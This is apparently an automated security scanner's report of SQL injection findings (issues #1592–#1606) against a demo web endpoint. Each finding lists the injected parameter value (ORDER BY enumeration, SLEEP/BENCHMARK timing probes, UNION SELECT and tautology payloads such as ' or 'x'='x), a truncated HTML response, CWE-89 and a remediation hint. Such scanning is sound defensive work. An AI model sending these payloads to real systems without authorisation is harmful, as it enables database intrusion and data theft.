Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),
4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89Issue Number #1592
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# ORDER BY 5--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1593
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# ORDER BY 11
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1594
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1
#UNION ALL SELECT 'INJ'||'ECT'||'XXX',
2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29
--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary 
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1595
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1Test Step GET
Modified 
ParametersName Value
DemoUser1# ORDER BY 12#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1596
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),
4,5,6,7,8,9,10,11,12,13,14,15,16#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessaryAlerts hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1597
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# OR x=x--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1598
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# or 1=1
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1599
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),
4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1600
Scan SQL InjectionSeverity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# ' or 'x'='x
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1601
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# UNION ALL SELECT 'INJ'||'ECT'||'XXX',
2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1602
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# UNION ALL SELECT 
1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1603
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1604
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# ORDER BY 23#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89Issue Number #1605
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# OR x=y#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1606
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# ORDER BY 31337
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
